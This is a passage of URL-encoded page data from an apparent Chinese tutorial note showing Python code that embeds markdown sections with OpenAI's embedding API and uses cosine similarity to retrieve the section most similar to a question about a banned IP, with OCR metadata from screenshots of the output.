rue%7D%2C%22data%22%3A%22%E5%AF%B9%E6%AF%94%E4%B8%A4%E9%83%A8%E5%88%86%E7%9A%84%E4%BD%99%E5%BC%A6%E7%9B%B8%E4%BC%BC%E5%BA%A6%EF%BC%8C%E6%9C%80%E7%BB%88%E8%BF%94%E5%9B%9E%E7%9B%B8%E4%BC%BC%E5%BA%A6%E6%9C%80%E9%AB%98%E7%9A%84%E6%96%87%E7%AB%A0%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u23c3e228%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u44bf09bc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%EF%BC%8C%E5%AF%B9%E6%AF%94%E6%96%87%E7%AB%A0%E7%9B%B8%E4%BC%BC%E5%BA%A6%E8%BF%99%E7%A7%8D%E4%BF%A1%E6%81%AF%E9%A2%97%E7%B2%92%E5%BA%A6%E8%BF%98%E6%98%AF%E5%A4%AA%E4%BD%8E%E4%BA%86%EF%BC%8C%E7%90%86%E8%AE%BA%E4%B8%8A%E6%9D%A5%E8%AF%B4%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E9%80%89%E6%8B%A9%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue4f11d1a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%8A%8A%E6%96%87%E7%AB%A0%E6%8C%89%E7%85%A7%E8%87%AA%E7%84%B6%E6%AE%B5%E5%88%92%E5%88%86%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u38613e58%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%B9%B6%E5%88%86%E5%88%AB%E5%A4%84%E7%90%86%EF%BC%8C%E5%BD%93%E7%84%B6%E5%A6%82%E4%BD%95%E5%85%B3%E8%81%94%E5%A4%9A%E4%B8%AA%E8%87%AA%E7%84%B6%E6%AE%B5%E4%B9%9F%E6%98%AF%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uda27115b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u71a4b673%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C%E6%88%91%E7%94%A8%E4%B8%80%E4%B8%AA%E6%AF%94%E8%BE%83%E7%AE%80%E5%8D%95%E7%9A%84%E4%BE%8B%E5%AD%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u94a1cae7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%EF%BC%8C%E6%8A%8A%E6%96%87%E7%AB%A0%E6%8C%89%E7%85%A7%23%E5%88%92%E5%88%86%E8%87%AA%E7%84%B6%E6%AE%B5%EF%BC%8C%E7%84%B6%E5%90%8E%E6%A0%87%E4%B8%8A%E6%A0%87%E9%A2%98%EF%BC%8C%E5%B9%B6%E9%80%9A%E8%BF%87openai%E7%9A%84api%E6%9D%A5%E8%AE%A1%E7%AE%97embeddings.%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9529c444%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ygVo0%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22python%22%2C%22code%22%3A%22import%20pandas%20as%20pd%5Cnimport%20tiktoken%5Cnimport%20codecs%5Cnimport%20re%5Cn%5Cnfrom%20openai.embeddings_utils%20import%20get_embedding%5Cn%5Cn%5Cnembedding_model%20%3D%20%5C%22text-embedding-ada-002%5C%22%5Cnembedding_encoding%20%3D%20%5C%22cl100k_base%5C%22%20%20%5Cnmax_tokens%20%3D%208000%5Cn%5Cnfile%20%3D%20%5C%22chatgpt1.md%5C%22%5Cnf%20%3D%20codecs.open(file%2C%20&#39;r&#39;%2C%20encoding%3D&#39;utf-8&#39;%2C%20errors%3D&#39;ignore&#39;)%5Cntext%20%3D%20f.read()%5Cn%5Cnm1%20%3D%20re.search(r&#39;title%3A%20(.%2B)%5C%5Cn&#39;%2C%20text)%5Cntitle%20%3D%20m1.group(1)%5Cn%5Cnmatchs%20%3D%20re.findall(r&#39;%5C%5C%23%2B%5B%5E%5C%5C%23%5D*&#39;%2C%20text)%20%23%20%E5%8C%B9%E9%85%8D%E6%A0%87%E9%A2%98%E5%92%8C%E5%86%85%E5%AE%B9%5Cn%5Cnfor%20match%20in%20matchs%3A%5Cn%20%20%20%20m2%20%3D%20re.search(r&#39;%5C%5C%23%2B.*&#39;%2C%20match)%5Cn%20%20%20%20t2%20%3D%20m2.group(0)%5Cn%5Cn%20%20%20%20r%20%3D%20%5C%22Title%3A%20%7B%7D%20-%20%7B%7D%5C%5CnContent%3A%7B%7D%5C%22.format(title%2C%20t2%2C%20match)%5Cn%20%20%20%20%23%20print(r)%5Cn%5Cn%20%20%20%20em%20%3D%20get_embedding(r%2C%20engine%3Dembedding_model)%5Cn%5Cn%20%20%20%20print(em)%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u121744d3%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1683aacb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%90%E8%A1%8C%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%9F%A5%E7%9C%8B%E5%88%B0%E7%BB%93%E6%9E%9C%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue08d8d6b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u912f4804%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684835773336-13d48885-41a2-4950-a76c-40a70631f58a.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A876%2C%22height%22%3A359%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A63407%2C%22width%22%3A796.3636191029198%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u4c89b421-87b9-40fb-a237-650edc6133c%22%2C%22clientId%22%3A%22u4e2f5494-b088-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A241%2C%22y%22%3A2%2C%22width%22%3A178%2C%22height%22%3A20%2C%22text%22%3A%22PYTHON311%20.%5C%5CTEST.PY%22%7D%2C%7B%22x%22%3A209%2C%22y%22%3A22%2C%22width%22%3A665%2C%22height%22%3A16%2C%22text%22%3A%22-0.009931052103638649%2C0.028209147974848747.-0.029614096507430077.0.0018%22%7D%2C%7B%22x%22%3A3%2C%22y%22%3A23%2C%22width%22%3A191%2C%22height%22%3A15%2C%22text%22%3A%22%5B%40.005633565131574869%2C%22%7D%2C%7B%22x%22%3A312%2C%22y%22%3A42%2C%22width%22%3A564%2C%22height%22%3A15%2C%22text%22%3A%22-7.704830204602331E-05%2C%20-0.009875956922769547.%20-0.0257160533219%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A42%2C%22width%22%3A324%2C%22height%22%3A15%2C%22text%22%3A%22219140649%2C-0.006911103613674641%2C-7.%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A61%2C%22width%22%3A873%2C%22height%22%3A14%2C%22text%22%3A%228-91399438176304102%2C%20-8.026156822219491905%2C%20%200-90390492845326666206%2C%20%20O-909380092844367027%2C%200-9257%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A99%2C%22width%22%3A874%2C%22height%22%3A15%2C%22text%22%3A%2257099891251564%2C%20-9.%20%2003374629467725754%2C%20-O-9154454425476491451%2C%20-0.%20-8-893269948972174%2C%20%20%20%20%20%20%20%20%20827%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A118%2C%22width%22%3A877%2C%22height%22%3A14%2C%22text%22%3A%2277%2C%20-8%2C914917239549775818%2C%200%2C%2009195795744957.%20-8%2C%20%209%2C9%2C9%2C919693883355.%20-0%20-%209172450449317.%20--------%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A137%2C%22width%22%3A875%2C%22height%22%3A15%2C%22text%22%3A%22973571125%2C%20--8.903497342828250849247.%20%20%20%200.9018448031708598%2C%20-0.%20-0.%20-0-90902212.-O.-O.91922850228502%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A156%2C%22width%22%3A874%2C%22height%22%3A16%2C%22text%22%3A%225%2C%20-0.0169833339563012123%2C%200.9.9142599744793415%2C%200.904538532346437045%2C%209.0.0.00452787142083%2C-8%2C-8%2C8%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A175%2C%22width%22%3A873%2C%22height%22%3A14%2C%22text%22%3A%22147116423%2C%209-02314031982903535%2C%20%20%209-99263599884215951%2C%20-9%2C%20-922337283728897413%2C%20-9%2C%20-9.%20%200306407547%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A193%2C%22width%22%3A875%2C%22height%22%3A16%2C%22text%22%3A%2221972672866284B5%2C%20-8.007424185052514976%2C%20-9.925233963504433632.--9-9-9-9005690382677130491%2C%20%209181265%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A213%2C%22width%22%3A862%2C%22height%22%3A15%2C%22text%22%3A%2236207%2C%20-9%2C0056852176785469055%2C%200.918636219203472137%2C%200.917121080309152603%2C%200.0.0.0.903142192616105%2C%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A233%2C%22width%22%3A875%2C%22height%22%3A14%2C%22text%22%3A%221276670890398%2C%20-9%2C%20-930326207256356674%2C%20%20%20%20907348428914665842%2C%20-8%3A90361567456745627.%209%2C%209-%20%2091399478%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A251%2C%22width%22%3A871%2C%22height%22%3A15%2C%22text%22%3A%223%2C%200.9023691277019679546%2C%202.2.28938915824983276-05%2C%200.9-916542570665478706%2C%200.0011501287803641791%2C%20%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A270%2C%22width%22%3A875%2C%22height%22%3A15%2C%22text%22%3A%2298212447823%2C%20-0-93545454262498586655%2C%20%20%20%200-95429710975259209%3A%20-9040288944725672504%2C%20-%20%20%20%20%20%200065667536%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A289%2C%22width%22%3A867%2C%22height%22%3A15%2C%22text%22%3A%22-O-99885099181529522%2C%200.9.0.2307867491707172%2C%200-92668023481965065%2C%20-0.0018526926979083783%2C%20-O.9097%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A308%2C%22width%22%3A868%2C%22height%22%3A15%2C%22text%22%3A%223448944%2C%200.914724403619766235%2C%20-9.90363977905362844447%2C%20%200%2C91887037791311741%2C%200.903560540154576302%2C%22%7D%2C%7B%22x%22%3A3%2C%22y%22%3A327%2C%22width%22%3A872%2C%22height%22%3A15%2C%22text%22%3A%227754683271950453.%209.922162362933158875%2C%20%20%209984773955296529627499%2C%200.93870493546128273.%20916955791047%22%7D%5D%2C%22search%22%3A%22PYTHON311%20.%5C%5CTEST.PY%20-0.009931052103638649%2C0.028209147974848747.-0.029614096507430077.0.0018%20%5B%40.005633565131574869%2C%20-7.704830204602331E-05%2C%20-0.009875956922769547.%20-0.0257160533219%20219140649%2C-0.006911103613674641%2C-7.%208-91399438176304102%2C%20-8.026156822219491905%2C%20%200-90390492845326666206%2C%20%20O-909380092844367027%2C%200-9257%2057099891251564%2C%20-9.%20%2003374629467725754%2C%20-O-9154454425476491451%2C%20-0.%20-8-893269948972174%2C%20%20%20%20%20%20%20%20%20827%2077%2C%20-8%2C914917239549775818%2C%200%2C%2009195795744957.%20-8%2C%20%209%2C9%2C9%2C919693883355.%20-0%20-%209172450449317.%20--------%20973571125%2C%20--8.903497342828250849247.%20%20%20%200.9018448031708598%2C%20-0.%20-0.%20-0-90902212.-O.-O.91922850228502%205%2C%20-0.0169833339563012123%2C%200.9.9142599744793415%2C%200.904538532346437045%2C%209.0.0.00452787142083%2C-8%2C-8%2C8%20147116423%2C%209-02314031982903535%2C%20%20%209-99263599884215951%2C%20-9%2C%20-922337283728897413%2C%20-9%2C%20-9.%20%200306407547%2021972672866284B5%2C%20-8.007424185052514976%2C%20-9.925233963504433632.--9-9-9-9005690382677130491%2C%20%209181265%2036207%2C%20-9%2C0056852176785469055%2C%200.918636219203472137%2C%200.917121080309152603%2C%200.0.0.0.903142192616105%2C%201276670890398%2C%20-9%2C%20-930326207256356674%2C%20%20%20%20907348428914665842%2C%20-8%3A90361567456745627.%209%2C%209-%20%2091399478%203%2C%200.9023691277019679546%2C%202.2.28938915824983276-05%2C%200.9-916542570665478706%2C%200.0011501287803641791%2C%20%2098212447823%2C%20-0-93545454262498586655%2C%20%20%20%200-95429710975259209%3A%20-9040288944725672504%2C%20-%20%20%20%20%20%200065667536%20-O-99885099181529522%2C%200.9.0.2307867491707172%2C%200-92668023481965065%2C%20-0.0018526926979083783%2C%20-O.9097%203448944%2C%200.914724403619766235%2C%20-9.90363977905362844447%2C%20%200%2C91887037791311741%2C%200.903560540154576302%2C%207754683271950453.%209.922162362933158875%2C%20%20%209984773955296529627499%2C%200.93870493546128273.%20916955791047%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%234e4e4e%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2a18bd98%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue70a9df1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%84%B6%E5%90%8E%E6%88%91%E4%BB%AC%E5%9C%A8%E8%BF%99%E4%B8%AA%E5%9F%BA%E7%A1%80%E4%B8%8A%E5%AF%B9%E4%B8%8A%E8%BF%B0%E7%9A%84%E5%90%91%E9%87%8F%E5%8C%96%E6%95%B0%E6%8D%AE%E5%AD%98%E6%A1%A3%EF%BC%8C%E7%84%B6%E5%90%8E%E4%B8%80%E4%B8%80%E5%AF%B9%E6%AF%94%E7%9B%B8%E4%BC%BC%E5%BA%A6%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub6e8fcd7%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22viaG5%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22python%22%2C%22code%22%3A%22import%20pandas%20as%20pd%5Cnimport%20tiktoken%5Cnimport%20codecs%5Cnimport%20re%5Cn%5Cnfrom%20openai.embeddings_utils%20import%20get_embedding%2C%20cosine_similarity%5Cn%5Cn%5Cnembedding_model%20%3D%20%5C%22text-embedding-ada-002%5C%22%5Cnembedding_encoding%20%3D%20%5C%22cl100k_base%5C%22%20%20%5Cnmax_tokens%20%3D%208000%5Cn%5Cntextlist%20%3D%20%5B%5D%5Cnsearch_text%20%3D%20%5C%22ip%E8%A2%AB%E5%B0%81%E4%BA%86%E6%80%8E%E4%B9%88%E5%8A%9E%EF%BC%9F%5C%22%5Cn%5Cn%5Cnfile%20%3D%20%5C%22chatgpt1.md%5C%22%5Cnf%20%3D%20codecs.open(file%2C%20&#39;r&#39;%2C%20encoding%3D&#39;utf-8&#39;%2C%20errors%3D&#39;ignore&#39;)%5Cntext%20%3D%20f.read()%5Cn%5Cnm1%20%3D%20re.search(r&#39;title%3A%20(.%2B)%5C%5Cn&#39;%2C%20text)%5Cntitle%20%3D%20m1.group(1)%5Cn%5Cnmatchs%20%3D%20re.findall(r&#39;%5C%5C%23%2B%5B%5E%5C%5C%23%5D*&#39;%2C%20text)%20%23%20%E5%8C%B9%E9%85%8D%E6%A0%87%E9%A2%98%E5%92%8C%E5%86%85%E5%AE%B9%5Cn%5Cnfor%20match%20in%20matchs%3A%5Cn%20%20%20%20m2%20%3D%20re.search(r&#39;%5C%5C%23%2B.*&#39;%2C%20match)%5Cn%20%20%20%20t2%20%3D%20m2.group(0)%5Cn%5Cn%20%20%20%20r%20%3D%20%5C%22Title%3A%20%7B%7D%20-%20%7B%7D%5C%5CnContent%3A%7B%7D%5C%22.format(title%2C%20t2%2C%20match)%5Cn%20%20%20%20%23%20print(r)%5Cn%5Cn%20%20%20%20em%20%3D%20get_embedding(r%2C%20engine%3Dembedding_model)%5Cn%5Cn%20%20%20%20search_embedding%20%3D%20get_embedding(%5Cn%20%20%20%20%20%20%20%20search_text%2C%5Cn%20%20%20%20%20%20%20%20engine%3D%5C%22text-embedding-ada-002%5C%22%5Cn%20%20%20%20)%5Cn%20%20%20%20similarity%20%3D%20cosine_similarity(em%2C%20search_embedding)%5Cn%5Cn%5Cn%20%20%20%20c%20%3D%20%7B%5Cn%20%20%20%20%20%20%20%20%5C%22content%5C%22%3A%20r%2C%5Cn%20%20%20%20%20%20%20%20%5C%22similarity%5C%22%3A%20similarity%5Cn%20%20%20%20%7D%5Cn%20%20%20%20textlist.append(c)%5Cn%5Cn%5Cnsorted_list%20%3D%20sorted(textlist%2C%20key%3Dlambda%20k%3A%20k%5B&#39;similarity&#39;%5D)%5Cnprint(sorted_list%5B-1%5D)%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6c9663bd%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uba50d97a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E8%BF%99%E6%AE%B5%E4%BB%A3%E7%A0%81%E6%88%91%E4%BB%AC%E5%9C%A8%E6%96%87%E7%AB%A0%E4%B8%AD%E6%90%9C%E7%B4%A2%E5%92%8C%5C%22ip%E8%A2%AB%E5%B0%81%E4%BA%86%E6%80%8E%E4%B9%88%E5%8A%9E%EF%BC%9F%5C%22%E8%BF%99%E4%B8%AA%E9%97%AE%E9%A2%98%E7%9B%B8%E4%BC%BC%E5%BA%A6%E6%9C%80%E9%AB%98%E7%9A%84%E6%AE%B5%E8%90%BD%EF%BC%8C%E6%9C%80%E7%BB%88%E6%88%91%E4%BB%AC%E5%BE%97%E5%88%B0%E7%AD%94%E6%A1%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u7f649632%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u24c42b01%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684838372151-1e60d43c-dfb3-4c53-ab99-0bb3ac1fc1b6.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1116%2C%22height%22%3A158%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A55906%2C%22width%22%3A1014.5454325557745%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u0365afeb-a74d-47cd-a908-f746d96a3c4%22%2C%22clientId%22%3A%22u4e2f5494-b088-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A244%2C%22y%22%3A3%2C%22width%22%3A181%2C%22height%22%3A19%2C%22text%22%3A%22PYTHON311.%5C%5CTEST.PY%22%7D%2C%7B%22x%22%3A319%2C%22y%22%3A21%2C%22width%22%3A797%2C%22height%22%3A20%2C%22text%22%3A%22T-%E5%85%A5%E9%97%A8%E7%AF%87-%23%23%E5%85%B6%E4%BB%96%E6%96%B9%E6%A1%88%E4%BB%A5%E5%8F%8A%E9%97%AE%E9%A2%98%5C%5CNCONT%3A%23%23%23%E5%85%B6%E4%BB%96%E6%96%B9%E6%A1%88%E4%BB%A5%E5%8F%8A%E9%97%AE%E9%A2%98%2F%E5%85%AB%5C%5CN%E5%BD%93%E9%85%8D%E7%BD%AE%E5%AE%8CWARP%E5%85%B6%E5%AE%9E%E6%AD%A3%E5%B8%B8%E7%9A%84%22%7D%2C%7B%22x%22%3A3%2C%22y%22%3A22%2C%22width%22%3A390%2C%22height%22%3A17%2C%22text%22%3A%22CONTENT&#39;%3A&#39;TITLE%3A%E4%BB%8E0%E5%88%B01%E7%9A%84CHATGPT%20-%20%E5%85%A5%E9%97%A8%E7%AF%87%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A41%2C%22width%22%3A1115%2C%22height%22%3A18%2C%22text%22%3A%22%E8%80%83%E5%AF%9F%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%AD%A3%E5%AE%97%E4%BD%BF%E7%94%A8%E4%BA%86.%E5%A6%82%E6%9E%9C%E4%BD%A0%E5%88%BB%E4%BA%8E%E6%9C%89%E6%B2%A1%E6%9C%89%E8%A2%AB%E5%88%B0%E7%9A%84%E8%B4%A6%E5%8F%B7%2C%E9%82%A3%E4%BD%A0%E7%8E%B0%E5%9C%A8%E5%B7%B2%E7%BB%8F%E5%8F%AF%E4%BB%A5%E6%AD%A3%E5%93%81%E7%BB%8F%E5%8F%AF%E4%BB%A5%E6%AD%A3%E8%8C%83%E4%BD%BF%E7%94%A8%E4%BA%86%2C%20INN(NTTPE%3B%2F%2FLORS-GN-SHUN9%22%7D%2C%7B%22x%22%3A3%2C%22y%22%3A79%2C%22width%22%3A1113%2C%22height%22%3A18%2C%22text%22%3A%22%E6%B0%B4%E4%B9%85%E7%9A%84%2C%E5%BE%B7%E8%B4%AA%E4%BB%A5%E5%9F%BA%E7%A7%8D%E6%96%B9%E5%BC%8F%E8%A2%AB%E8%A7%A3%E5%88%A4)(NN(NTEPSAR-CON%2FBLOROXSAR-BL09-CONGHANGHANGS.CON%2FBLONGS.CONGS.CON%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A99%2C%22width%22%3A1118%2C%22height%22%3A17%2C%22text%22%3A%22%E8%B6%85%E7%BA%A7%E7%9A%84%E7%94%B5%E8%84%91%E5%B1%82%3A%E5%A6%82%E6%9E%9C%E7%89%A9%E7%8E%AF%E5%A2%83%E4%B8%89%E4%B8%AA%E6%96%B0%E7%9A%84%E6%95%B4%E5%A4%87%2C%E7%8E%B0%E5%85%AC%E5%9B%AD%E5%A4%A7%E6%A5%BC%E4%B8%BE%E9%87%91%E8%82%A1%E5%A4%A7%E6%A5%BC%E4%B8%BE%E9%87%91%E5%9C%B0%E6%96%B9%2C%E4%BD%86%E5%90%8C%E8%A1%8C%E4%B8%8E%E6%88%90%E5%88%86%2C%3A101630153015300.0109.0109.0109.33%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A116%2C%22width%22%3A1114%2C%22height%22%3A18%2C%22text%22%3A%22SHANGHAL.ALYUNGS%2CCOM%2FELO9%2F304192304273.01A%E5%85%B3%E4%BA%8E%E8%BF%99%E4%B8%AA%E9%97%AE%E9%A2%98%E5%85%B6%E5%AE%9E%E7%8E%B0%E6%B2%A1%E6%9C%89%E6%89%BE%E5%88%B0%E5%B0%86%E5%88%AB%E5%85%85%E7%BE%8E%E7%9A%84%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%2C%E5%90%8C%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%80%E6%AD%A5%E4%BD%BF%E7%94%A8%E7%9A%84%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%2C%E7%BD%91%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%80%E6%AD%A5%E4%BD%BF%E7%94%A8%E7%9A%84%E6%96%B9%E6%A1%88%E6%9D%A5%E8%A7%A3%E5%86%B3%2C%E5%90%8C%E4%B8%8A%E5%9C%A8%E8%BF%99%E4%B8%80%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A136%2C%22width%22%3A1071%2C%22height%22%3A18%2C%22text%22%3A%22%E6%98%AF%E4%BD%BF%E7%94%A8%E4%B8%80%E4%B8%AA%E5%86%B7%E9%97%A8%E7%9A%84%E6%9C%8D%E5%8A%A1%E9%9B%B7%E4%B8%8A%E6%97%A5%E6%8E%A5%E5%9C%A8NDOWS%E6%9C%8D%E5%8A%A1%E7%95%99%E4%B8%8A%E8%BF%9C%E7%A8%8B%E4%BF%9D%E4%BD%9C%E4%BA%A4%E7%8E%B0%E5%8F%88%E8%B7%9F%E8%80%85%E6%80%BB%E8%AE%A9%E5%88%AB%E4%BA%BA%E6%9D%A5%E6%B3%A8%E5%86%8C.%20&#39;SIMILARTY&#39;%3A%209.9.9%22%7D%5D%2C%22search%22%3A%22PYTHON311.%5C%5CTEST.PY%20T-%E5%85%A5%E9%97%A8%E7%AF%87-%23%23%E5%85%B6%E4%BB%96%E6%96%B9%E6%A1%88%E4%BB%A5%E5%8F%8A%E9%97%AE%E9%A2%98%5C%5CNCONT%3A%23%23%23%E5%85%B6%E4%BB%96%E6%96%B9%E6%A1%88%E4%BB%A5%E5%8F%8A%E9%97%AE%E9%A2%98%2F%E5%85%AB%5C%5CN%E5%BD%93%E9%85%8D%E7%BD%AE%E5%AE%8CWARP%E5%85%B6%E5%AE%9E%E6%AD%A3%E5%B8%B8%E7%9A%84%20CONTENT&#39;%3A&#39;TITLE%3A%E4%BB%8E0%E5%88%B01%E7%9A%84CHATGPT%20-%20%E5%85%A5%E9%97%A8%E7%AF%87%20%E8%80%83%E5%AF%9F%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%AD%A3%E5%AE%97%E4%BD%BF%E7%94%A8%E4%BA%86.%E5%A6%82%E6%9E%9C%E4%BD%A0%E5%88%BB%E4%BA%8E%E6%9C%89%E6%B2%A1%E6%9C%89%E8%A2%AB%E5%88%B0%E7%9A%84%E8%B4%A6%E5%8F%B7%2C%E9%82%A3%E4%BD%A0%E7%8E%B0%E5%9C%A8%E5%B7%B2%E7%BB%8F%E5%8F%AF%E4%BB%A5%E6%AD%A3%E5%93%81%E7%BB%8F%E5%8F%AF%E4%BB%A5%E6%AD%A3%E8%8C%83%E4%BD%BF%E7%94%A8%E4%BA%86%2C%20INN(NTTPE%3B%2F%2FLORS-GN-SHUN9%20%E6%B0%B4%E4%B9%85%E7%9A%84%2C%E5%BE%B7%E8%B4%AA%E4%BB%A5%E5%9F%BA%E7%A7%8D%E6%96%B9%E5%BC%8F%E8%A2%AB%E8%A7%A3%E5%88%A4)(NN(NTEPSAR-CON%2FBLOROXSAR-BL09-CONGHANGHANGS.CON%2FBLONGS.CONGS.CON%20%E8%B6%85%E7%BA%A7%E7%9A%84%E7%94%B5%E8%84%91%E5%B1%82%3A%E5%A6%82%E6%9E%9C%E7%89%A9%E7%8E%AF%E5%A2%83%E4%B8%89%E4%B8%AA%E6%96%B0%E7%9A%84%E6%95%B4%E5%A4%87%2C%E7%8E%B0%E5%85%AC%E5%9B%AD%E5%A4%A7%E6%A5%BC%E4%B8%BE%E9%87%91%E8%82%A1%E5%A4%A7%E6%A5%BC%E4%B8%BE%E9%87%91%E5%9C%B0%E6%96%B9%2C%E4%BD%